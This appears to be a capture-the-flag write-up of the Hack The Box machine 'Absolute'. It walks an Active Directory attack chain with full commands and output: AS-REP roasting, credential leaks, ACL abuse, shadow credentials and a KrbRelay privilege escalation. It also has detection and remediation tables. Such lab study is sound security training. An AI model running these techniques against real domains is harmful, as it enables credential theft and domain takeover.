HTB — Absolute


Image metadata to a relay in the Administrators group

Absolute is an Insane Windows box built around one decision: the domain does not let anyone authenticate with NTLM. Every user sits behind Kerberos-only logins, so every conventional trick fails with STATUS_ACCOUNT_RESTRICTION until you start speaking Kerberos. The rest is a relay race of credentials — six names in image metadata, an AS-REP roast, a service password reused in an LDAP description field, a binary that hands out cleartext LDAP bindings, an ACL chain planted with a shadow credential, and a Kerberos relay against an unpatched 2019-era domain controller that drops the account into the Administrators group.

Mission Brief

Difficulty Insane (rating 4.9)
OS Windows — AD domain controller (Build 17763, Server 2019/10, IIS 10.0)
Released / retired 2022-09-24 / 2023-05-27
Attack surface 53 DNS, 80 IIS ("Absolute"), 88 Kerberos, 135 MSRPC, 139 netbios, 389/636/3268/3269 LDAP, 445 SMB, 464 kpasswd, 593, 5985 WinRM, 9389 ADWS — domain absolute.htb, DC dc.absolute.htb
Techniques EXIF metadata username harvest, username-anarchy, kerbrute user enumeration, AS-REP roasting (etype 23), Kerberos-only authentication (NTLM disabled), LDAP description-field credential leak, SMB share analysis, binary dynamic analysis with Wireshark, BloodHound ACL pathing, WriteOwner/DACL abuse, shadow credentials (msDS-KeyCredentialLink), Kerberos WinRM, KrbRelay via RunasCs
Tools nmap, exiftool, username-anarchy, kerbrute, GetNPUsers, hashcat, crackmapexec, ldapsearch, getTGT, smbclient, BloodHound, Wireshark, owneredit, dacledit, net (samba), certipy, evil-winrm, CheckPort, KrbRelay, RunasCs
Creator Geiseric

Route of the whole box:

 1. Recon              → a DC wearing a website; WinRM open for later
 2. Image metadata     → EXIF "Author" names → username-anarchy
 3. kerbrute userenum  → [initial].[lastname] format; d.klay valid
 4. AS-REP roast       → d.klay has no pre-auth → etype 23 → Darkmoonsky248girl
 5. Kerberos-only LDAP → svc_smb's description field = AbsoluteSMBService123!
 6. SMB share "Shared" → test.exe (Nim) → Wireshark → m.lovegod:AbsoluteLDAP2022!
 7. ACL climb          → WriteOwner "Network Audit" → FullControl → add member
 8. Shadow credentials → certipy shadow auto on winrm_user → ccache ticket
 9. WinRM              → evil-winrm -k as winrm_user → user.txt
10. KrbRelay           → RunasCs -l 9 + KrbRelay → Administrators → root.txt

Contents

Recon — a domain controller wearing a website

Purpose: fingerprint the box, save the names it volunteers, and note the port I will come back for once I have credentials.

A broad all-port scan shows a full Windows domain controller profile — DNS, Kerberos, RPC, LDAP (on 389 and global-catalog variants), SMB, and WinRM. A controller that also runs IIS is the first oddity worth keeping:

kali$ nmap -sCV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.129.XX.XX
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?       (fingerprint: bind)
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: Absolute
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0.)
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows

The LDAP banner names dc.absolute.htb, so both hostnames go into /etc/hosts. The order matters: dc.absolute.htb must come before absolute.htb, because Kerberos reverse-resolves the IP and picks the first host with that address. Point it at the wrong entry and GSSAPI fails with Server not found in Kerberos database.

There is a seven-hour clock skew against local time — a detail that breaks every later Kerberos request until corrected. Anonymous SMB offers nothing (STATUS_LOGON_FAILURE), anonymous LDAP only reveals the naming context DC=absolute,DC=htb before demanding a bind. Port 5985 is noted as the shell-shaped doorway for whatever I find later.

Field note — DCs are self-describing. The LDAP and Kerberos banners hand over the domain (absolute.htb), the DC hostname, and even the CA name (absolute-DC-CA, on the LDAP certificate) without any interaction. Log everything a service prints. And when Kerberos tools start failing with cryptic GSSAPI errors, the reverse-DNS order in /etc/hosts is usually the culprit.

Usernames from image metadata

Purpose: turn six stock photos into a candidate username list, then let Kerberos teach me which name format the domain actually uses.

The IIS site is a static design page — a hero carousel of six full-width images and little else. Directory fuzzing finds only /images, /css, /js. The images are the payload of the page, so I pull all six and read their metadata:

kali$ for i in $(seq 1 6); do wget http://10.129.XX.XX/images/hero_${i}.jpg; done
kali$ exiftool hero_1.jpg
Author                          : James Roberts
Creator Tool                    : Adobe Photoshop CC 2018 Macintosh

The Author / Artist fields contain full names — James Roberts, Michael Chaffrey, Donald Klay, Sarah Osvald, Jeffer Robinson, Nicole Smith. Extracting them all:

kali$ for i in $(seq 1 6); do exiftool hero_${i}.jpg | grep Author | awk '{print $3 " " $4}'; done | tee users
James Roberts
Michael Chaffrey
Donald Klay
Sarah Osvald
Jeffer Robinson
Nicole Smith

A raw list of Names is not yet a list of usernames. AD accounts come in any permutation of first/last name, so username-anarchy expands each name into the common variations — james, jamesroberts, james.roberts, j.roberts, and so on. Then the trick that makes the box click: instead of guessing the format, ask the domain. kerbrute userenum sends a pre-authentication probe for every candidate and reports which accounts exist:

kali$ kerbrute userenum --dc dc.absolute.htb -d absolute.htb usernames
2023/05/21 13:57:41 >  [+] VALID USERNAME:       j.roberts@absolute.htb
2023/05/21 13:57:41 >  [+] VALID USERNAME:       m.chaffrey@absolute.htb
2023/05/21 13:57:41 >  [+] VALID USERNAME:       s.osvald@absolute.htb
2023/05/21 13:57:41 >  [+] VALID USERNAME:       d.klay@absolute.htb
2023/05/21 13:57:41 >  [+] VALID USERNAME:       j.robinson@absolute.htb
2023/05/21 13:57:41 >  [+] VALID USERNAME:       n.smith@absolute.htb
2023/05/21 13:57:41 >  Done! Tested 88 usernames (6 valid) in 0.794 seconds

All six names are valid accounts, all using [first-initial].[lastname]. That single fact — learned from the KDC, not from a lock screen — turns six names into six concrete AD principals.

Field note — let the KDC do your recon. kerbrute userenum never completes a login, so there is no failed-password event, only query noise. When the account format is unknown, generate a broad candidate set with username-anarchy and let "VALID USERNAME" lines write the convention for you.

AS-REP roast — Kerberos gives away one password

Purpose: swap user enumeration for a password — and notice the first hint that this domain dislikes every authentication path except Kerberos.

With six users known, the next Kerberos step is AS-REP roasting: asking the KDC for an authenticator for every user. Accounts with the UF_DONT_REQUIRE_PREAUTH attribute answer without proof of password knowledge:

kali$ GetNPUsers.py -dc-ip dc.absolute.htb -usersfile valid_users absolute.htb/
[-] User j.roberts doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.chaffrey doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.osvald doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$d.klay@ABSOLUTE.HTB:<HASH>
[-] User j.robinson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User n.smith doesn't have UF_DONT_REQUIRE_PREAUTH set

Exactly one account is roastable: d.klay. The hash is etype 23 (RC4), which is what hashcat mode 18200 expects, so it goes straight to cracking with rockyou.txt:

kali$ hashcat d.klay.hash /usr/share/wordlists/rockyou.txt
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
...:Darkmoonsky248girl

The password is Darkmoonsky248girl. Validating it the default way exposes the box's identity:

kali$ crackmapexec smb 10.129.XX.XX -u d.klay -p 'Darkmoonsky248girl'
SMB         10.129.XX.XX  445    DC               [-] absolute.htb\d.klay:Darkmoonsky248girl STATUS_ACCOUNT_RESTRICTION

STATUS_ACCOUNT_RESTRICTION on every NTLM path — and successes only with -k — is the tell that the domain has NTLM authentication disabled (these users live in the Protected Users group), so SMB, LDAP, RPC and everything else must authenticate with Kerberos tickets. Before that, the clock must be synchronized with the DC, or Kerberos rejects the requests as replayed:

kali$ sudo ntpdate dc.absolute.htb
kali$ kinit d.klay
Password for d.klay@ABSOLUTE.HTB:
kali$ klist
Default principal: d.klay@ABSOLUTE.HTB
krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB

Field note — STATUS_ACCOUNT_RESTRICTION is a policy fingerprint. NTLM checks are blocked before reaching password validation, so the account exists and is deliberately gated; switch all tooling to Kerberos mode (-k on CrackMapExec, -k tickets on impacket, GSSAPI on ldapsearch).

Kerberos-only enumeration — LDAP hands out the next password

Purpose: enumerate the domain over LDAP using the Kerberos ticket, and read the fields most walkthroughs skip — the description column.

With a valid ticket, LDAP enumeration works over Kerberos. crackmapexec ldap --users fetches the account listing with descriptions, and the descriptions are doing unpaid work as documentation for the attacker:

kali$ crackmapexec ldap 10.129.XX.XX -u d.klay -p 'Darkmoonsky248girl' -k --users
LDAP        10.129.XX.XX  389    DC               Administrator        Built-in account for administering the computer/domain
LDAP        10.129.XX.XX  389    DC               m.lovegod
LDAP        10.129.XX.XX  389    DC               svc_smb                        AbsoluteSMBService123!
LDAP        10.129.XX.XX  389    DC               svc_audit
LDAP        10.129.XX.XX  389    DC               winrm_user                     Used to perform simple network tasks

svc_smb's description field reads like a password, because it is one: AbsoluteSMBService123!. It validates:

kali$ crackmapexec smb 10.129.XX.XX -u svc_smb -p 'AbsoluteSMBService123!' -k
SMB         10.129.XX.XX  445    DC               [+] absolute.htb\svc_smb:AbsoluteSMBService123!

The same data is reachable with ldapsearch -Y GSSAPI — GSSAPI this time, because the simple -D/-w bind is NTLM and is refused with an AcceptSecurityContext error.

Field note — the description field is a documentation fire hazard. A password written into the description attribute of svc_smb is synced into the cleartext LDAP corpus every authenticated user can read. In real environments, --users (or ldapsearch + grep) over the description column should be a standard post-authentication dump.

The binary in the share — Wireshark reads the password for you

Purpose: follow the svc_smb account to what it is allowed to read, and learn what the service binary does when it runs.

As svc_smb, the SMB share list gains Shared with READ access:

kali$ crackmapexec smb dc.absolute.htb -k -u svc_smb -p 'AbsoluteSMBService123!' --shares
SMB         dc.absolute.htb 445    DC               Share           Permissions     Remark
SMB         dc.absolute.htb 445    DC               -----           -----------     ------
SMB         dc.absolute.htb 445    DC               Shared          READ
SMB         dc.absolute.htb 445    DC               NETLOGON        READ            Logon server share
SMB         dc.absolute.htb 445    DC               SYSVOL          READ            Logon server share

Connecting with a Kerberos ticket and listing Shared:

kali$ smbclient.py 'absolute.htb/svc_smb:AbsoluteSMBService123!@dc.absolute.htb' -k -no-pass
# use shared
# ls
-rw-rw-rw-      72  Thu Sep  1 13:02:23 2022 compiler.sh
-rw-rw-rw-   67584  Thu Sep  1 13:02:23 2022 test.exe
# get compiler.sh
# get test.exe

Two files: compiler.sh is a one-liner that builds a Nim program, and test.exe is the compiled result:

kali$ file test.exe
test.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows

Running the binary on a Windows VM produces nothing visible; the interesting part only shows under Wireshark. With the VM routed to the lab network, the binary fires _ldap._tcp.dc.absolute.htb DNS lookups, and 25-30 seconds later an LDAP bind to the DC on 389. Following that TCP stream shows a bindRequest with the username and password in cleartext: m.lovegod : AbsoluteLDAP2022!.

The binary is a tool that authenticates to LDAP with embedded credentials; running it inside a sniffing VM hands those credentials over. The name needs one correction: the binary writes mlovegod without the dot, and the KDC replies KDC_ERR_C_PRINCIPAL_UNKNOWN; the LDAP listing shows the real account is m.lovegod.

kali$ crackmapexec smb 10.129.XX.XX -u m.lovegod -p 'AbsoluteLDAP2022!' -k
SMB         10.129.XX.XX  445    DC               [+] absolute.htb\m.lovegod:AbsoluteLDAP2022!

Field note — dynamic analysis beats static analysis for credentials. A GUI binary with no visible output is doing something under the hood; the fastest ground truth is to run it where traffic is sniffable. LDAP bindRequest is cleartext by design — LDAPS on 636 would not have leaked it. And trust the directory over the binary: m.lovegod from LDAP, not mlovegod from the executable.

The ACL climb — WriteOwner to group membership

Purpose: find where m.lovegod steers from the BloodHound graph, and walk the ACL chain to the account that gives a shell.

BloodHound (collected with the Kerberos fork of BloodHound.py under the d.klay ticket) shows the path. m.lovegod is a member of a custom group, networkers, which has WriteOwner over the Network Audit group object; and Network Audit holds GenericWrite over the winrm_user account. winrm_user is a member of Remote Management Users, which can connect over WinRM — the very port noted in recon.

GenericWrite over a user means full property control, including msDS-KeyCredentialLink — the attribute that drives the shadow credential attack. m.lovegod does not yet have GenericWrite; it only reaches through the group. To convert the mediated control:

  1. make m.lovegod the owner of Network Audit;
  2. grant m.lovegod FullControl over Network Audit;
  3. add m.lovegod to Network Audit;
  4. reuse its GenericWrite over winrm_user.

Steps 1-2 run from the ShutdownRepo impacket fork that ships owneredit.py and dacledit.py. The fork builds a little differently, so it goes into a virtualenv:

kali$ git clone --branch dacledit https://github.com/ShutdownRepo/impacket.git
kali$ cd impacket && python3 -m venv .venv && source .venv/bin/activate
kali$ pip install .

Make m.lovegod the owner of the group, then grant it permission to manage members:

kali$ owneredit.py -action write -target 'NETWORK AUDIT' -new-owner 'm.lovegod' \
    'absolute.htb/m.lovegod' -k -no-pass -dc-ip 10.129.XX.XX
kali$ dacledit.py -k -no-pass -dc-ip 10.129.XX.XX -principal m.lovegod \
    -target "Network Audit" -action write -rights FullControl absolute.htb/m.lovegod

Step 3 adds the user to the group over Kerberos-flavored net rpc:

kali$ net rpc group addmem "Network Audit" m.lovegod -U m.lovegod -k -S dc.absolute.htb
kali$ net rpc group members "Network Audit" -U m.lovegod -k -S dc.absolute.htb
absolute\m.lovegod
absolute\svc_audit

m.lovegod now inherits Network Audit's GenericWrite over winrm_user. A cleanup script reverts the membership periodically, so if a subsequent step throws permission errors, re-run steps 1-3 first.

Field note — group ownership is the group's password. The owner of an object's nTSecurityDescriptor can always rewrite its ACL (WRITE_DAC), so WriteOwner on a group is one step from controlling every member. WriteOwner → FullControl → membership → GenericWrite → msDS-KeyCredentialLink is one of the cleanest ACL climbs in the AD toolkit, and BloodHound draws it as a single edge.

Shadow credentials — a shell that never needed a password

Purpose: use the inherited GenericWrite to plant a key credential on winrm_user, authenticate with it, and reach a WinRM shell.

GenericWrite over winrm_user allows setting its msDS-KeyCredentialLink attribute. Doing so is the shadow credential technique: a self-signed certificate is bound to the account, usable with PKINIT to request Kerberos tickets as that user — no password change required, nothing breaks, the old password keeps working. certipy shadow auto does the whole dance in one command:

kali$ KRB5CCNAME=/tmp/krb5cc_1000 certipy shadow auto -username m.lovegod@absolute.htb \
    -account winrm_user -k -target dc.absolute.htb
[*] Targeting user 'winrm_user'
[*] Generating certificate
[*] Generating Key Credential
[*] Adding Key Credential with device ID ... to the Key Credentials for 'winrm_user'
[*] Successfully added Key Credential ...
[*] Authenticating as 'winrm_user' with the certificate
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_user.ccache'
[*] Restoring the old Key Credentials for 'winrm_user'
[*] Successfully restored the old Key Credentials for 'winrm_user'

One timing trap: the ticket must be issued after m.lovegod was added to the group. If the cleanup loop just re-established the membership, a stale ticket fails with INSUFF_ACCESS_RIGHTS; regenerate the ticket, then run certipy. With a fresh ccache, the WinRM doorway from recon finally opens:

kali$ KRB5CCNAME=./winrm_user.ccache evil-winrm -i dc.absolute.htb -r absolute.htb
*Evil-WinRM* PS C:\Users\winrm_user\Documents>

The user flag sits in C:\Users\winrm_user\Desktop\user.txt.

Field note — shadow credentials are the polite takeover. Changing winrm_user's password would break whatever uses it; adding msDS-KeyCredentialLink does not. AD stores the key credential as a PKINIT-capable alternate method, so the certificate authenticates without touching the password. Any tool that can write key credentials — pywhisker, certipy, Whisker — turns GenericWrite into a shell.

Privilege escalation — KrbRelay reaches SYSTEM

Purpose: turn the WinRM user into an administrator without any new credentials, by relaying the DC's own Kerberos authentication back at it.

From the WinRM shell I am winrm_user: a member of Remote Management Users, nothing more. The escalation is KrbRelay — a Kerberos relay from the 2021-2022 era of Windows that works against precisely this configuration: a domain controller without the October 2022 security patches and with LDAP signing disabled (the Windows default).

The mechanism: KrbRelay.exe registers a local COM server whose CLSID maps to a service that always runs as SYSTEM. When the machine's SYSTEM context calls that server, KrbRelay captures the resulting Kerberos AP-REQ — which belongs to the DC$ computer account — and relays it to LDAP on the DC. The DC authorizes the change as if the DC itself had asked. The change requested is simply adding winrm_user to Administrators.

First the prerequisites. CheckPort.exe verifies which port the malicious server can bind, and cmd /c ver identifies the build to pick a valid CLSID:

*Evil-WinRM* PS C:\programdata> .\CheckPort.exe
[*] Looking for available ports..
[*] SYSTEM Is allowed through port 10
*Evil-WinRM* PS C:\programdata> cmd /c ver
Microsoft Windows [Version 10.0.17763.3406]

Build 17763 is Server 2019 / Windows 10, and the KrbRelay README lists the default CLSID for that OS: 354ff91b-5e49-4bdc-a8e6-1cb6c6877182.

The direct attempt fails — and the failure is the lesson. WinRM sessions are non-interactive; the logged-on user's credentials are not stored in memory for the COM activation to pick up:

*Evil-WinRM* PS C:\programdata> .\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 354ff91b-... -add-groupmember "Domain Admins" winrm_user
[*] Relaying context: absolute.htb\DC$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\programdata\KrbRelay.exe
[*] Register com server
[*] Forcing SYSTEM authentication
[*] Using CLSID: 354ff91b-...
System.UnauthorizedAccessException: Access is denied. (HRESULT: 0x80070005)

The fix is RunasCs.exe — run the relay as m.lovegod, whose credentials I hold. The first attempt fails again, this time on logon type: type 2 (Interactive) is not granted, by the same policy that gates the whole domain. -l 9 selects the Network logon type, which is allowed:

*Evil-WinRM* PS C:\programdata> .\RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb -l 9 ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 354ff91b-... -add-groupmember administrators winrm_user"
[*] Relaying context: absolute.htb\DC$
[*] Forcing SYSTEM authentication
[*] Using CLSID: 354ff91b-...
[*] bind: 0
[*] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established
[*] ldap_modify: LDAP_SUCCESS

LDAP session established with the relayed DC$ context, then ldap_modify: LDAP_SUCCESS — the group change is applied. Verification:

*Evil-WinRM* PS C:\programdata> net user winrm_user
Local Group Memberships      *Administrators       *Remote Management Use
Global Group memberships     *Domain Users         *Protected Users

winrm_user is an administrator. Group membership is evaluated at logon, so a fresh evil-winrm connection as winrm_user over Kerberos lands in an Administrators context, and root.txt is readable from C:\Users\administrator\Desktop.

Field note — KrbRelay is a patch-status story wearing an exploit costume. The relay works because (a) the box predates the October 2022 updates that blocked Kerberos-relay against LDAP, and (b) LDAP signing/sealing is off, so the relayed change is not integrity-bound to its legitimate owner. Two things make it worth studying even in the patched era: the DC$-as-LDAP-client abstraction (a machine's keytab credentials being hijackable), and the requirement that a non-interactive session cannot feed the relay — the exact gap RunasCs with a Network logon exists to fill.

Operator's Log

Things I had to learn the slow way on this box:

  • The clock is not a detail. Kerberos fell over repeatedly until ntpdate against the DC. Years later, a pre-auth mismatch is most likely thirty seconds of wall-clock drift.
  • dc.absolute.htb cannot be the second hostname on the row. LDAP GSSAPI bind failed with Server not found in Kerberos database, and the hosts-file order was the entire explanation.
  • mlovegod is not m.lovegod. The binary embeds the name wrong; the directory has the right one. Trust the directory, not the executable.
  • The cleanup script. LDAP/group changes kept getting reverted; the rule became: re-do WriteOwner → FullControl → membership before retrying any escalation. Every failure after a revert was just me forgetting the order.
  • Two different failures share a costume. The first KrbRelay attempt fails with "Access denied" (non-interactive session, needs RunasCs), the second with a logon-type error (type 2 blocked, -l 9 fine). Both look like permission problems; only the second is about the user.

Detection & defense — what the blue team gets to see

Stage Signal
User harvesting Mass downloads of /images/*.jpg; tight loop of metadata queries
Kerberos userenum High rate of AS-REQ / TGT requests for candidate names — loud in the KDC logs even without failed logons
AS-REP roast Probes against the one account without pre-auth (d.klay); fix: set UF_DONT_REQUIRE_PREAUTH off
Kerberos-only pivot Legit creds used exclusively with -k/GSSAPI, never NTLM
Description leak Any read of svc_smb/description; scan description for password-shaped values
Share + binary svc_smb reading Shared; a PE binary plus a one-line build script in a readable share
Cleartext LDAP bind SMB/LDAP binds from internal VMs; enable LDAP signing so relays refuse
ACL abuse WriteOwner/FullControl changes on Network Audit, then group addmem; event IDs 4728/4732 + 5136
Shadow credential Add of msDS-KeyCredentialLink on winrm_user (event 4742/5136); PKINIT logons (4768) for an account that never used certificates
WinRM via Kerberos Kerberos-auth WinRM sessions (5985) from fresh IPs carrying a TGT for winrm_user
KrbRelay Unpatched DC (no Oct 2022 update) + LDAP signing off; small LDAP writes under the DC$ principal; RunasCs -l 9 spawning a COM server from a non-interactive session

And the fixes, in the order they would have stopped this box:

Weakness Fix
Public names → logins Keep published names off the corporate site or stop mapping them 1:1 to AD logon names
Pre-auth account Disable UF_DONT_REQUIRE_PREAUTH
Password in LDAP description Scan description; never store password material in attributes read by all authenticated users
Credentials in a binary Remove embedded credentials; secrets live in a vault, not in test.exe
LDAP cleartext bind Enforce LDAP signing/sealing; use LDAPS for binds that pass secrets
Group ownership Review nTSecurityDescriptor owners; alert on WriteOwner grants
Shadow credentials Monitor msDS-KeyCredentialLink; treat PKINIT logons as sensitive
Kerberos relay Install Oct 2022 + cumulative updates on all DCs; enable LDAP channel binding and signing — the relay depends on both being absent

Attack chain recap

# Step Technique Tool / evidence
1 Fingerprint DC profile: DNS, Kerberos, LDAP, IIS on 80, WinRM on 5985 nmap -sCV
2 Usernames EXIF Author metadata → username-anarchy permutations exiftool + username-anarchy
3 Format discovery AS-REQ probes reveal [initial].[lastname] kerbrute userenum
4 AS-REP roast d.klay without pre-auth → etype 23 → password GetNPUsers + hashcat -m 18200
5 Pivot NTLM disabled → all tooling switched to Kerberos STATUS_ACCOUNT_RESTRICTION, -k
6 LDAP enum Description of svc_smb = AbsoluteSMBService123! crackmapexec ldap --users
7 Share + binary SMB Shared → test.exe → Wireshark LDAP bind → m.lovegod:AbsoluteLDAP2022! smbclient.py, Wireshark
8 ACL chain WriteOwner → FullControl → group membership → GenericWrite on winrm_user BloodHound, owneredit, dacledit, net rpc
9 Shadow credential msDS-KeyCredentialLink on winrm_user → TGT ccache certipy shadow auto
10 User shell Kerberos WinRM evil-winrm -r absolute.htb → user.txt
11 Priv esc KrbRelay: relay DC$ AP-REQ to LDAP → add to Administrators RunasCs -l 9 + KrbRelay → root.txt

Conclusion

Absolute is a machine-length argument that Active Directory is only as safe as the least-consistent knob in the estate. The whole box runs on conventions that are technically documented and routinely ignored: usernames are guessable from corporate photos, one account has pre-authentication turned off, a service password lives in an LDAP description field, a binary on an open SMB share carries embedded credentials, and a group object is owned by someone who should not be. None of these is a single catastrophic vulnerability; each one is a small decision made in isolation, and the box is won by treating them as a connected graph — which is exactly what BloodHound forces you to do.

The technical gems are the two Kerberos-set pieces. Disabled NTLM changes the rules of the game for every tool in the bag, and the machine punishes anyone who ignores it with a wall of STATUS_ACCOUNT_RESTRICTION. And the shadow-credential-to-WinRM-to-KrbRelay finish is a reminder that a modern AD attack does not touch a password of the goal account at any point: one add to an LDAP attribute grants the shell, and the final account is not exploited, merely edited.